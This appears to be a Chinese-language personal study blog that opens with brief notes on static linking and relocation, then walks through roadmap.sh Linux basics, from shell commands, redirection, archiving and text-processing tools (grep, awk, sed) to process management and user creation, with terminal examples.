装载后的虚拟地址的虚拟地址空间事实上空间分配就是关注虚拟地址空间分配，这与可执行文件本身的空间分配关系几乎没有（一个是“需要的空间”，一个是运行所分配的使用空间，这样应该好理解）那么就可以引出二步链接法

空间与地址分配
符号解析与重定位（核心）
gcc a.o b.o -o ab 进行链接

VMA就是虚拟地址，而LMA就是加载地址了，在部分嵌入式系统中两者才会不一样，一般就关注VMA
注意到！在链接后VMA才分配到了相应的虚拟地址
符号地址会根据.text段.data段等的地址来确认，比如main符号在a.o中是代码段最开始，那么在输出文件中其偏移也会是0

第二个问题：接下来如何重定位？

空间地址分好后，我们要想想符号解析与重定位的步骤

反汇编，canary不用看

这是分析的过程，e8为操作码（近址相对位移调用指令, 在其后面会跟 调用指令的下一条指令 的偏移量）call这里的一系列地址都是一个临时的假地址，而在编译的时候无论是a还是main的地址实际上都不是真正知道的的，而这些工作就交给了链接器——确定所有符号在分配完地址空间后的虚拟地址，从而修正。

那么我们来看看ab？

这里的swap和shared都已经修正到了正确的位置上0x2eba（shared）以及swap(0x1188=116d+0x1b)

ABI和API以及C++
为什么静态运行库中一个目标文件包含一个函数？-减少浪费
最小的程序

linux_roadmap学习

Wed, 22 Jan 2025 00:47:00 +0000

题外话

~~听学长指示闻着味就过来了~~ 体验以后觉得不错，roadmap.sh非常适合入门学习，而且是交互式的，推荐用于某项技能的入门基础快速学习，但是要注意是 全英文 的，不想啃就开翻译插件吧

commands and basical knowledge

Basic commands

cd: change directory
ls: list files and direrctories in the current directory
pwd: view working directory man: view manual page for a command(查看某个指令的详解)

files and directories

创建文件
- touch: 在linux中用touch命令创建空文件 touch newfile.txt
- cat: cat > newfile.txt 如果不存在newfile.txt则创建，存在则覆盖
移动文件
- mv:mv [options源文件] source destination source表示要移动的文件或目录，而destination表示目标位置
删除文件
- rm:rm example.txt永久性删除，如果想在删除前确认，可以使用-i选项:rm -i example.txt
- rmdir:rmdir [directory]删除目录

Understanding Directory Hierarchy

在Linux中，了解目录层次结构是非常重要的。
linux系统的目录结构也称为 文件系统层次结构标准，即 FHS，它是一种定义的树结构，有助于防止文件分散在整个系统中，并且易于导航和组织。

/：根目录，文件系统的顶层
/home：用户主目录
/bin：二进制文件目录，包含常用的系统命令
/sbin：系统二进制文件目录，包含系统管理员使用的命令
/etc：系统配置文件目录
/var：可变数据(日志、假脱机文件)
/tmp: 临时文件目录
/usr：用户应用程序和数据目录
/lib：共享库

Editing Files

与其他操作系统一样，Linux允许出于多种目的编辑文件，无论您是需要配置某些系统功能还是编写脚本。Linux 默认提供多种文本编辑器，包括：

nano
vi/vim
emacs gedit
每个编辑器都有自己的学习曲线和命令集
例如,nano是一个简单的文本编辑器，它易于使用，非常适合简单的文本编辑。vi/vim则在另一方面，更为先进，提供广泛的功能和命令(老一辈的游刃有余) 要编辑文件首先要使用以下命令

1
2
3
4
5


nano [filename]

vi [filename] or vim [filename]

#我就用过这两个

Vim：编辑文件的基本工具

Vim（Vi Improved）是一款功能强大且灵活的文本编辑器，用于类 Unix 系统。它以原始 Vi 编辑器为基础，并添加了其他功能和改进，包括多级撤消、语法突出显示和大量用于文本操作的命令集。(虽然学起来很麻烦就是了)

Vim主要以三种模式运行：

Normal(for navigation and manipulation).
Insert(for editing text).
Command(for running commands).
要插入新内容，使用i进入插入模式，然后输入内容。
编辑完成后，按ESC键退出插入模式，然后输入:wq保存并退出。
当然Vim的操作远不止这些

一些学习平台和教程：
边玩游戏边学Vim
循序渐进学习Vim
Vim实用技巧

Nano：简单的文本编辑器

Nano相对来说是更为流行、对用户来说友好的文本编辑器，用于直接在 Linux命令行界面(CLI Linux Command Line Interface) 中编辑文件。是一个vi和emacs的替代品。对初学者来说更为简单实用，介绍一些针对流行的Linux发行版的安装方式(一般来说很多发行版是自带的)

1
2
3
4
5
6


#Ubuntu based distributions
sudo apt update
sudo apt install nano

#Arch Linux
sudo pacman -S nano

Shell and Other Basics

Linux Shell是一个命令行界面，用于与操作系统进行交互。
shell 有助于简化系统命令，并充当用户和系统内核之间的中介界面。shell 可以高效快速地执行复杂任务。
Linux中有多种shell，包括：Bourne shell(sh)、C shell(csh)、Bourne-Again Shell(bash)等。

Command Path in Shell Basics

Simply put, command path is a variable that is used by the shell to determine where to look for the executable files to run.

通常，shell需要知道命令的可执行文件的绝对路径才能运行它，而 command path 允许shell自动按正确顺序搜索指示的目录。这些路径存储在 $PATH环境变量中。
echo $PATH将返回shell按顺序搜索的所有目录，以查找要运行的命令

Environment Variables

在Linux中, 环境变量是 动态命名 的值，可以影响 shell 中正在运行的进程的行为。
它们存在于每个shell的进程当中，一个shell的进程的环境变量包括但不限于
user’s home directory, command search path, terminal type, and program preferences.
环境变量有助于实现 Unix 系统中灵活的自定义。它们提供了一种在 Linux 中的多个应用程序和进程之间共享配置设置的简单方法。

可以使用 env命令列出shell会话中的所有环境变量，如果想查看某个特定的变量，则可以使用echo $PATH命令

1
2
3
4
5
6



# List all environment variables
$ env

#Print a particular variable like PATH
echo $VARIABLE_NAME

具体地学习以及实验可见Linux环境变量

Command Help

上文就有提到，在Linux中学会使用命令帮助非常重要，它能使用户轻松浏览Linux Shell命令。例如:
man [command]可以在任何命令钱调出其手册条目，其中解释了该命令的作用、语法、可用选项
help [command]选项也可以显示命令的可用选项和用法。更适合shell内置函数，对每个函数进行简要描述。可见获取Linux命令帮助
以及如何使用手册页

Redirects

Linux的shell为user提供了一种管理命令/程序的输入和输出流的强大方法，称为 重定向。
Linux是一个多用户和多任务操作系统，每个进程通常打开3个流：

标准输入（stdin）：默认情况下，从键盘读取输入。
标准输出（stdout）：默认情况下，将输出写入屏幕。
标准错误（stderr）：默认情况下，将错误消息写入屏幕。
Linux的重定向功能便于我们操作流，从而提高运行命令/程序的灵活性。除了默认设备(键盘啦终端啦)外， I/O流可以重定向到其他文件/设备。

例如，如果想将命令输出存储到文件中而不是打印到控制台，可以使用">“运算符号

1

ls -al > file_list.txt

将"ls -al"的输出写入了txt中，如果已存在该文件就覆盖

experiment

见逻辑命令和重定向

&&运算符

该运算符用于将多个命令链接在一起，并仅在第一个命令成功执行时才执行第二个命令，对于有依赖的命令链接很有用

||运算符

当第一个命令失败时才执行第二个命令。这对于提供后备选项或错误消息很有用。

»追加输出重定向符号

如果我们想要附加信息的话，可以使用”»“运算符，它将命令的输出附加到文件中，而不是覆盖现有内容。

1
2
3
4


echo "First line" > multiline.txt
echo "Second line" >> multiline.txt
echo "Third line" >> multiline.txt
cat multiline.txt

|管道运算符

管道运算符将一个命令的输出作为另一个命令的输入。这对于将一个命令的输出传递给另一个命令进行处理非常有用。
例如

1

echo "apple banana cherry date elderberry" | tr ' ' '\n' | sort

echo命令将字符串"apple banana cherry date elderberry"输出到标准输出
tr命令将空格字符转换为换行符，每个水果名称都单独一行
sort命令将输出按字母顺序排序于是有这样的输出:

最后我们综合一下这些技术来创建一个文件，搜索特定单词，然后重定向输出：

1
2
3


echo "The quick brown fox jumps over the lazy dog" > sentence.txt
cat sentence.txt | grep "fox" > fox_result.txt && echo "Search completed successfully" || echo "Search failed"
cat fox_result.txt

结果会是什么样的？可以自己想一下

Superuser

超级用户，也称为“root 用户”，是 Linux 中拥有广泛权力、特权和功能的用户帐户。此用户可以完全控制系统并可以访问存储在系统上的任何数据。这包括修改系统配置、更改其他用户的密码、安装软件以及在 shell 环境中执行更多管理任务的能力。
用su或sudo命令切换到超级用户，sudo允许我们以另一个用户身份运行命令，默认为root。还有一个关键区别：
sudo会记录用户执行的命令，而su不会。

Working with Files

处理文件是Linux的重要组成部分，就在上面，我们学习了Linux 终端中用于文件处理的一些基本命令包括touch创建文件、mv移动文件、cp复制文件、rm删除文件以及ls列出文件和目录。
接下来我们还要具体学习一部分文件操作

File Permissions

三种用户: owners, groups, and others who can have a different set of permissions.
看一个例子:

1

-rwxr--r-- 1 root root 4096 Jan 1 12:00 filename

第一个-表示这是一个文件，如果是d则表示这是一个目录。接下来的9个字符表示权限，每3个字符一组，分别代表owner, group, and others的权限。(懒得写了)

Archiving and Compressing

Linux提供了强大归档实用程序，用于将文件和目录打包到单个文件中，以便于传输或备份。
主要工具有tar和gzip以及bzip2

tar: 是一种多功能工具，可以管理和组织文件到一个文档中。
gzip和bzip2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# To create a tar archive:
tar -cvf archive_name.tar directory_to_archive/

# To extract a tar archive:
tar -xvf archive_name.tar

# To create a gzip compressed tar archive:一步创建压缩文档
tar -cvzf archive_name.tar.gz directory_to_archive/

# To extract a gzip compressed tar archive:一步解压
tar -xzvf archive_name.tar.gz

experiment

我们来实践一下, 在~/Linux_study下

1
2
3
4
5
6


mkdir -p tar/{subdir1,subdir2} #该-p选项允许 mkdir 根据需要创建父目录。

echo "This is file 1" > tar/file1.txt
echo "This is file 2" > tar/file2.txt

tree tar

可以看到

1
2
3
4
5
6
7
8
9


┌──(nan0in㉿BF-202501180754)-[~/Linux_study]
└─$ tree tar
tar
├── file1.txt
├── file2.txt
├── subdir1
└── subdir2

3 directories, 2 files

让我们用tar打包：tar -cvf tar_archive.tar tar

-c选项表示创建一个新归档文件，-v选项表示详细模式(可选)，-f选项表示指定归档文件的名称。

要查看内容而不提取，可以使用：tar -tvf tar_archive.tar:-t是详细列出,-f指定了文件,-v表示列出内容要提取文件内容，我们可以这么做：

1
2


mkdir extracted_tar
tar -xvf tar_archive.tar -C extracted_tar

-x选项表示提取归档文件的内容，-C选项表示指定提取目录, 告诉tar提取之前更改extracted_tar为当前目录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


┌──(nan0in㉿BF-202501180754)-[~/Linux_study]
└─$ tree extracted_tar/
extracted_tar/
└── tar
 ├── file1.txt
 ├── file2.txt
 ├── subdir1
 └── subdir2

4 directories, 2 files

接下来我们用命令gzip来压缩它：gzip tar_archive.tar 现在我们可以看到tar_archive.tar.gz文件，用ls -lh tar_archive.tar.gz可以看到它的大小234字节

打包和压缩的区别

Packaging
- 目的：将多个文件和目录合并为一个文件。
- 功能：分组文件
- 工具：tar
- 结果：档案的总大小通常略大于其中所有文件的大小总和。
Compression
- 目的：减小文件的大小。
- 功能：应用算法消除数据中的冗余
- 工具：gzip和bzip2
- 结果：压缩后的文件通常比原始文件小，使用前需解压如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


┌──(nan0in㉿BF-202501180754)-[~/Linux_study]
└─$ echo "size of the original directory:"; du -sh tar
size of the original directory:
20K tar

┌──(nan0in㉿BF-202501180754)-[~/Linux_study]
└─$ echo "size of the tar archive:"; ls -lh test_archive0.tar
size of the tar archive:
-rw-r--r-- 1 nan0in nan0in 10K Feb 1 22:06 test_archive0.tar

┌──(nan0in㉿BF-202501180754)-[~/Linux_study]
└─$ echo "size of the compressed tar.gz:"; ls -lh tar_archive.tar.gz
size of the compressed tar.gz:
-rw-r--r-- 1 nan0in nan0in 234 Feb 1 21:32 tar_archive.tar.gz

Copy and Renaming

cp:cp /path/to/original/file /path/to/copied/file指定文件和目标路径
mv:mv /path/to/original/file /path/to/moved/file
指定要重命名或移动的文件和要重命名或移动到的文件和路径
重命名：如我们要将index.html重命名为home.html:

1

mv index.html home.html

移动多个文件

1

mv *.js scripts/

实现了将所有js文件移动到scripts目录下

安全转移：使用-i选项
1

mv -i *.js scripts/
enter后将会收到消息:
1

mv: overwrite 'scripts/file1.js'? n
输入n后就不会覆盖了

Soft links/Hard links

硬链接：指向文件系统中的同一物理位置, 可以理解为镜像，源文件删除后硬链接仍存在
软链接：指向文件系统中的另一个位置, 可以理解为 快捷方式
创建硬链接：ln /path/to/original/file /path/to/link
创建软链接：ln -s /path/to/original/file /path/to/link
删除链接：rm /path/to/link

Text Processing

文本处理是系统管理员和开发人员的一项基本任务。Linux 是一个强大的操作系统，它提供了强大的文本搜索、操作和处理工具。

用户可以使用awd sed grep cut等命令进行文本过滤、替换和处理正则表达式。shell脚本、python等编程语言都可以在Linux实现出色的文本处理功能
当然还有vim nano等文本编辑器 非常非常关键 以下部分不做实验，只举少量例子资源:Linux Filters Linux Text Processing

stdin/stdout/stderr

Linux 中 stdout 和 stderr 的概念属于 Linux 文本处理的基础，在 Linux 中，程序执行时一般会开启三个通信通道，分别是 STDIN（标准输入）、STDOUT（标准输出）、STDERR（标准错误）。

通道(channels)都有特殊的功能 STDOUT会发送大多数shell命令输出的通道 STDERR专门用于发送错误信息

示例

1

command > stdout.txt 2>stderr.txt

>将stdout重定向到stdout.txt中 2>则将stderr重定向到stderr.txt中，正确输出和错误信息将存储在不同文件中检查和处理

cut

剪切命令允许我们从文件或输出中剪切出每行的部分，并将其显示在标准输出（通常是终端）上。它通常用于scripts和pipe，尤其是用于文件操作和文本操作。我们需要某个特殊部分的时候这个指令会很有用

1

cut OPTION... [FILE]...

示例

1

echo "one,two,three,four" | cut -d "," -f 2

此命令以逗号分隔，输出第二个字段也就是 two

paste

1

paste [-s][-d <间隔字符>][--help][--version][文件...]

在 Linux 中，paste 是一个功能强大的文本处理实用程序，主要用于合并来自多个文件的行。它允许用户按列而不是行合并数据，为文本数据处理增加了极大的灵活性。用户可以选择特定的分隔符来分隔列，从而提供多种方式输出。

示例

1

paste file1.txt file2.txt > combined.txt

sort

Linux 提供了多种处理和操作文本文件的工具，其中之一就是 sort 命令。Linuxsort中的该命令用于逐行对文本文件的内容进行排序。该命令使用 ASCII 值对文件进行排序。可以使用此命令以多种不同的方式对文件中的数据进行排序，例如按字母顺序、数字顺序、反向顺序甚至按月排序。sort 命令将文件作为输入，并在stdout上打印排序后的内容。

1

sort filename.txt

一般会用重定向

复杂一点的：

1

sort -n -t: -k2 students.txt

-n 决定按Numeric排序 (-nr加上r就会逆向派)
-t: 指定字符以冒号分隔
-k2 使用第二个字段作为排序键见sort命令

tr

用于翻译或替换字符，从标准输入读入并写入标准输出。虽然翻译多用，但是功能实际上很多，比如用于替换一组符号，删除或压缩重复字符用法

示例

1

echo 'hello' | tr 'a-z' 'A-Z'

实现了将小写a-z替换为大写A-Z 见tr命令

head & tail

head允许用户输出文件的头部，通常用于预览文件开头，这可以快速检查超大文件中的数据，通常将每个文件的前10行打印到标准输出

1

head file.txt

也可以自定义输出行数

1

head -n 5 file.txt #头部五行

见head命令

tail命令用于输出文件最后部分，将最后的N字节、行、块、字符或单词打印到标准输出

join（我不怎么会用）

join允许我们在一个公告字段上合并文件的行，就类似SQL中的“join”，处理大量数据时特别管用，用于两个文件中的行来形成包含以有意义的方式关联的行对的行

注意！只有文件排序后，该命令才能正常工作见join命令

Split

于将大文件拆分为小文件的命令，顾名思义。Linuxsplit中的命令根据用户指定的行或字节将文件分成多个相等的部分。由于其实用性，它是一个有用的命令。例如，如果您有一个大型数据文件，由于其大小而无法有效使用，则可以使用 split 命令将文件拆分为更易于管理的部分。基本语法

1

split [--help][--version][-<行数>][-b <字节>][-C <字节>][-l <行数>][要切割的文件][输出文件名]

默认情况下Split会将文件分成几个较小的文件，每个文件1000行，如果没有提供输入文件，或输入文件为-，它会从标准输入读取例如有一个bigfile.txt要拆分为一个个有500行的文件，命令如下:

1

split -l 500 bigfile.txt

pipe

没错，熟悉的管道命令，用于Linux中连接两个或多个命令的强大功能，允许将一个命令通过pipe作为另外一个的输入。对于文本处理尤其有用，一个简单的例子

1

ls | grep '\.txt$'

ls列出文件，grep获取目录下文件并过滤掉不以.txt结尾的文件

nl

对于文本中要编号行数有用,number lines，如果你需要概览某一部分也可以用到这个指令，nl只会读到非空行，当然也可以根据命令进行修改

1

nl [options] [file_name]

-b a便会对所有行进行编号如果没有指定文件，nl命令会等待用户的标准输入见nl

wc

word count 用于计算数量，可以是字节数、符号数、词数、行数，当然不止可以读行数，还可以跟踪程序输出，计算代码行数等，是 用于大规模文本分析和精密分析的宝贵工具

1

wc [输出的参数] file1.txt

行数单词数字符数文件名 -l 行 -w 单词 -m 计算字符数也可组合使用见wc命令

expand/unexpand

是一个Unix和类Unix操作系统中的一个命令行实用程序, 可将制表符转换为空格 emmm，有了这个命令可以减轻制表符所带来的扰乱格式，使用linux shell脚本时就很有用，制表符空格在不同系统或文本编辑器上可能有不同格式会不一致，这样使用大大提高代码可读性该expand命令默认将制表符转换为 8 个空格。以下是示例用法：

1

expand filename

在此示例中，filename是要将制表符转换为空格的文件的名称。运行该命令后，制表符转换后的内容将打印到标准输出。要指定每个制表符的空格数，-t可以使用以下选项：

1

expand -t 4 filename

在此示例中，每个制表符filename将被替换为 4 个空格。然后输出将显示在控制台上。 unexpand就是相反的操作

uniq

用于过滤重复的行，来帮助检查和处理文本文件。无论处理的是数据列表还是大型文本文档，该uniq命令都允许您查找和过滤重复的行，甚至可以提供文件中每个唯一行的计数。重要的是要记住，uniq只会删除彼此相邻的重复项，因此为了充分利用此命令，通常sort首先使用该命令对数据进行排序。

使用示例uniq为：

1

sort names.txt | uniq

在此示例中，names.txt是一个包含名称列表的文件。该sort命令对文件中的所有行进行排序，然后uniq删除所有重复的行。结果输出将是中的唯一名称列表names.txt。见uniq

grep💖

LINUX三剑客，grep awk sed

grep全局正则表达式打印）被认为是类 Unix 操作系统（包括 Linux）文本处理领域的重要工具。它是一款功能强大的实用程序，可以搜索和过滤与给定模式匹配的文本，当它识别出与模式匹配的行时，会将该行打印到屏幕上

grep 是许多 shell 脚本、bash 命令和命令行操作的重要组成部分，它是一种多功能工具，每个 Linux 发行版都预装了它。它包含三个主要部分 - 格式、操作和正则表达式。

另一种选择——ripgrep，支持grep所有功能并进行扩展

1
2
3


grep [options] pattern [files]
或
grep [-abcEFGhHilLnqrsvVwxy][-A<显示行数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][文件或目录...]

常用

-i：忽略大小写进行匹配。
-v：反向查找，只打印不匹配的行。
-n：显示匹配行的行号。
-r：递归查找子目录中的文件。
-l：只打印匹配的文件名。
-c：只打印匹配的行数。

学习grep和正则表达式
见grep命令
可以看博客园的这篇文章

正则表达式概述

.（点）- 单个字符。
? 前一个字符仅匹配 0 次或 1 次。
- 前面的字符匹配 0 次或更多次。
+ - 前面的字符匹配 1 次或多次。
{n} - 前一个字符恰好匹配 n 次。
{n,m}- 前一个字符匹配至少 n 次，但不超过 m 次。
[agd] - 该字符是方括号内的字符之一。
[^agd] - 该字符不是方括号内的字符之一。
[cf] - 方括号内的破折号表示范围。在这种情况下，它表示字母 c、d、e 或 f。
（） - 允许我们将多个字符分组为一个字符。
|（管道符号）——逻辑或运算。
^ - 匹配行的开头。
$ - 匹配行尾。

awk

三剑客之二awk

awk 是一种功能强大的文本处理语言，广泛用于类 Unix 操作系统，包括 Linux。awk 以其三位原始开发者 Alfred Aho、Peter Weinberger 和 Brian Kernighan 的名字命名该语言由脚本中的一组命令组成，本质上，awk 逐行读取输入文件，识别与脚本中指定的模式相匹配的模式，然后根据这些匹配执行动作。下面是如何使用 awk 打印文件每行的前两个字段的示例：

1

awk '{print $1,$2}' filename

这将显示“filename”中每一行的第一个和第二个字段（通常用空格分隔）见awk命令 c

sed

三剑客之三sed

格式： sed [options] '[地址定界] command' file(s)
sed是一种流编辑器，一次处理一行把当前处理的行存储在临时缓冲区作为patternspace，接着会用sed命令进行缓冲区内容处理并输出在屏幕后读取下一行直到末尾并且不重定向输出或-i就不会对文件修改
功能：主要用来自动编辑一个或多个文件, 简化对文件的反复操作

常用选项

-n：不输出模式空间内容到屏幕，即不自动打印，只打印匹配到的行
**-e：**多点编辑，对每行处理时，可以有多个Script
-f：把Script写到文件当中，在执行sed时-f 指定文件路径，如果是多个Script，换行写
-r：支持扩展的正则表达式
-i：直接将处理的结果写入文件
-i.bak：在将处理的结果写入文件之前备份一份

地址定界

不给地址：对全文进行处理
单地址：
- #: 指定的行
- /pattern/：被此处模式所能够匹配到的每一行
地址范围：
- #,#
- #,+#
- /pat1/,/pat2/
- #,/pat1/
~：步进
- sed -n ‘1~2p’ 只打印奇数行（1~2 从第1行，一次加2行）
- sed -n ‘2~2p’ 只打印偶数行

编辑命令

d：删除模式空间匹配的行，并立即启用下一轮循环
p：打印当前模式空间内容，追加到默认输出之后
a：在指定行后面追加文本，支持使用\n实现多行追加
i：在行前面插入文本，支持使用\n实现多行追加
c：替换行为单行或多行文本，支持使用\n实现多行追加
w：保存模式匹配的行至指定文件
r：读取指定文件的文本至模式空间中匹配到的行后
=：为模式空间中的行打印行号
!：模式空间中匹配行取反处理
s///：查找替换，支持使用其它分隔符，如：s@@@，s###；
- 加g表示行内全局替换；
- 在替换时，可以加一下命令，实现大小写转换
- \l：把下个字符转换成小写。
- \L：把replacement字母转换成小写，直到\U或\E出现。
- \u：把下个字符转换成大写。
- \U：把replacement字母转换成大写，直到\L或\E出现。
- \E：停止以\L或\U开始的大小写转换

演示

常用选项

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


❯ sed -n "/aaa/p" three_sword
aaa
❯ sed "/aaa/p" three_sword
aaa
aaa
bbbb
AABBCCDD
❯ sed -e "s/a/A/" -e "s/b/B/" three_sword
Aaa
Bbbb
AABBCCDD
❯ vim sedscript.txt
❯ cat sedscript.txt
s/A/a/g
❯ sed -f sedscript.txt three_sword
aaa
bbbb
aaBBCCDD
❯ sed -i.bak "s/a/A/g" three_sword
❯ ls
sedscript.txt three_sword three_sword.bak
❯ cat three_sword.bak
aaa
bbbb
AABBCCDD

地址界定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


❯ sed -n "p" three_sword
AAA
bbbb
AABBCCDD
❯ sed "2s/b/B/g" three_sword #替换第二行的b为B
AAA
BBBB
AABBCCDD
❯ sed -n "/aaa/p"
^C
❯ sed -n "/aaa/p" three_sword
❯ cat three_sword
AAA
bbbb
AABBCCDD
❯ ls
sedscript.txt three_sword three_sword.bak
❯ vim three_sword
❯ sed -n "/aaa/p" three_sword
aaa
❯ sed -n "1,2p" three_sword # 打印1~2行
aaa
bbbb
❯ sed -n "/aaa/,/DD/p" three_sword
aaa
bbbb
AABBCCDD
❯ vim three_sword
❯ sed "1~2s/[aA]/E/g" three_sword #奇数行a或A替换
EEE
bbbb
EEBBCCDD

tee

Linux tee命令用于读取标准输入的数据，并将其内容输出成文件。（就是打印输出同时存入文件）

tee指令会从标准输入设备读取数据，将其内容输出到标准输出设备，同时保存成文件。

在pwncollege的考察中我们知道，tee实际上实现的是复制数据流
借助tee，我们可以同时实现让多个文件接受输出
command1 | tee >(command2) >(commannd3) >()会实现一个进程的替换，>(command2)实际上创建了一个文件描述符
"/dev/fd/63"类似于这样

obj文件（目标文件或可执行文件）——odjdump

在Linux环境下，我们可以使用objdump命令对目标文件(obj)或可执行文件进行反汇编，它以一种可阅读的格式让你更多的了解二进制文件可能带有的附加信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


objdump [-a|--archive-headers]
[-d|--disassemble]
[-D|--disassemble-all]
[-f|--file-headers]
-F
--file-offsets
 当在对sections进行反汇编时，无论是否显示相应的symbol，都会显示其在文件内的偏移(offset)。
[-i|--info]
-h
--section-headers
--headers
 显示obj文件各个sections的头部摘要信息。
 obj文件中segments可能会被relocate，比如在ld时通过使用-Ttext、-Tdata或者-Tbss选项。然而，有一些
 对象文件格式，比如a.out，其本身并没有保存起始地址信息。在这种情况下，尽管ld可以正确的对这些sections
 进行relocate，但是使用objdump -h来查看各sections的头部摘要信息时则不能正确的显示地址信息。
-t
--syms
 显示文件的符号表入口。类似于nm -s提供的信息
-T
--dynamic-syms
 显示文件的动态符号表入口，仅仅对动态目标文件意义，比如某些共享库。它显示的信息类似于 nm -D(--dynamic)
 显示的信息

xxd

xxd是Linux下命令行工具，用于将文件或数据转换为十六进制格式显示，还可以将十六进制数据重新转化为二进制文件
功能：调试、文件内容分析、数据转化

语法格式：
xxd [options][inputfile[outputfile]]
options:
- -r：十六进制->二进制（反向操作） - -p/-ps：以连续纯十六进制（不带偏移地址和ascii）输出 - -s offset -l length两者经常搭配使用，前者指定从偏移位置开始读取（负数则是末尾）后者显示指定长度的字节

strace

一个强大的 Linux 调试工具，用于跟踪进程执行时的系统调用和信号。它能详细记录进程对系统调用的使用情况，包括参数、返回值、时间消耗等
我们需要动态跟踪程序进程时便可以使用

跟踪进程

strace ls -lh /var/log/messages 会跟踪 ls...这条命令的执行过程并输出所有的系统调用

跟踪已经在进行的进程：指定PID strace -p 17553
重定向到文件：strace -o strace_output.txt ls -lh /var/log/messages

server review

在审查 Linux 服务器的过程中需要包括评估服务器的性能、安全性和配置，以确定需要改进的地方或任何潜在问题。审查范围可以包括检查安全增强功能、检查日志文件、查看用户帐户、分析服务器的网络配置以及检查其软件版本。 Linux以其稳定性和安全性闻名，已成为全球许多网络和服务器后端的必备软件。根据使用的发行版，Linux 提供了多种工具和命令来执行全面的服务器审查。

1
2
3
4
5
6
7
8


# 显示内存信息
free -m

#显示磁盘使用情况
df -h

# 显示cpu加载情况
uptime

authentication logs

在处理 Linux 服务器及其维护时，需要定期检查的最重要组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log（适用于基于 Debian 的发行版）或 /var/log/secure（适用于 Red Hat 和 CentOS），记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试以及任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

下面是如何使用tail命令查看身份验证日志的最后几个条目的示例：

1

tail /var/log/auth.log

熟悉阅读和理解身份验证日志，因为这是确保服务器安全的重要方法之一。

system services

Linux 服务器因其稳定性和灵活性而广受欢迎，这些因素使其成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务包括 Web 服务、数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员，定期检查这些正在运行的服务以管理资源、检查其状态和解决问题非常重要，从而确保服务器的健康和性能。

Linux 有多种工具可以实现这一点，例如：systemctl service netstat ss lsof

例如，该命令systemctl在 Linux 系统上广泛用于列出所有正在运行的服务：

1

systemctl --type=service

此命令将显示所有活动服务及其当前状态的列表。它是服务器管理的必需品，应该是任何 Linux 系统管理员工具箱的一部分。

process management

进程管理是任何操作系统不可或缺的一部分，Linux 也不例外。在 Linux 上运行的每个程序（无论是应用程序还是系统操作）都被视为进程。这些进程执行不同的任务，但协同工作以提供无缝的操作体验。

在 Linux 中，用户可以使用不同的命令来交互和管理这些进程，以执行各种进程管理任务，例如查看当前正在运行的进程、终止进程、更改进程的优先级等。了解这些命令以及如何有效地使用它们对于 Linux 进程管理至关重要。

例如，ps 命令提供有关当前正在运行的进程的信息：

1

ps aux

这将列出所有当前正在运行的进程，其中包含进程 ID、运行该进程的用户、其消耗的 CPU 和内存、启动该进程的命令等信息。 top是另一个常用命令。它提供系统当前状态的实时更新视图，包括进程：

1

top

另一个强大的工具是kill，它可以向进程发送特定信号。例如，你可以使用SIGTERM(15) 正常停止进程，或使用 (9) 强制停止进程SIGKILL：

1
2


kill -SIGTERM pid
kill -SIGKILL pid

list/find processes

文件系统proc是一个强大的工具
具体来说它提供有关正在运行的进程的详情信息，包括PID、状态和资源消耗 我们也可以通过探索proc目录（/proc），我们可以深入了解和查看系统内核参数和每个进程的具体系统详细信息

1
2


# view specifics of a particular PID
cat /proc/{PID}/status

process SIGNALS

即 进程信号，这是Unix和Linux系统中的一种通信机制，它们提供了一种通知进程同步或异步时间的方法。
有多种信号可用，比如SIGINT、SIGSTOP、SIGKILL等，可将其发送到正在运行的进程来中断、暂停或终止例如，向PID12345进程发送stop信号

1

kill -SIGSTOP 12345

这里再讲一下kill命令

1

kill [signal or option] PID

Linux中的kill是用于手动终止进程的内置命令，用kill基本是请求进程暂停、停止

process priorities

Linux内核在proc结构中队进程进行排序，通常位于/proc文件系统目录下。此结构包含有关所有活动进程信息, 也包括了优先级
优先级从-20到+19

通过了解和管理进程优先级，我们可以优化系统性能并控制哪些进程获得更多/更少的CPU关注
看一个简单命令，用于显示所有进程的ID、优先级和用户

1

ps -eo pid,pri,user,comm

需更改任何进程的优先级，可以用renice命令

1

renice -5 -p [PID] #increase priority by 5 units for process ID

process Forking

forking在Linux进程管理中非常常见，它进行了对一个进程自身的复制（子进程），并且允许几个进程并发进行执行，fork的进程几乎是完全一致的除了PID等少数的值来个C的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


#include<sys/types.h>
#include<unistd.h>
#include<stdio.h>

int main()
{
 pid_t child_pid;

 // Try creating a child process
 child_pid = fork();

 // If a child is successfully created
 if(child_pid >= 0)
 printf("Child created with PID: %d\n", child_pid);
 else
 printf("Fork failed\n");
 return 0;
}

fork成功就会返回进程ID

User Management

可参考文章usermanager

前言：
Linux的开放式系统有一个用户管理系统，使得可以有大量用户进行跟系统的交互。
在Linux中会进行用户角色、分配权限、组、所有权和其他相关方面的交互，我们需要牢记，如果作为Linux管理员尤其
为了使操作更流畅可控，Linux中的user操作包括creating deleting modifying等等，也包括了为用户/组分配文件和目录的权限和所有权

我们通过基本的shell命令对Linux用户进行管理

用户

例如我们创建一个用户：

1

sudo useradd fumofumo

如果没有sudo就会出现permission denied
为了验证我们可以

1

sudo grep -w 'fumofumo' /etc/passwd

我们会看到类似输出：

1

fumofumo:x:1001:1001::/home/fumofumo:/usr/bin/bash

这里解释一下

用户名：fumofumo
密码：x（实际存储在别处）
用户ID：1001
组ID：1001
主目录:/home/fumofumo（这里没有创建）
默认shell：/bin/sh

创建有主目录的用户

接下来我们创建并给用户提供一个主目录

1

sudo useradd -m vortex

-m提供了创建主目录的命令

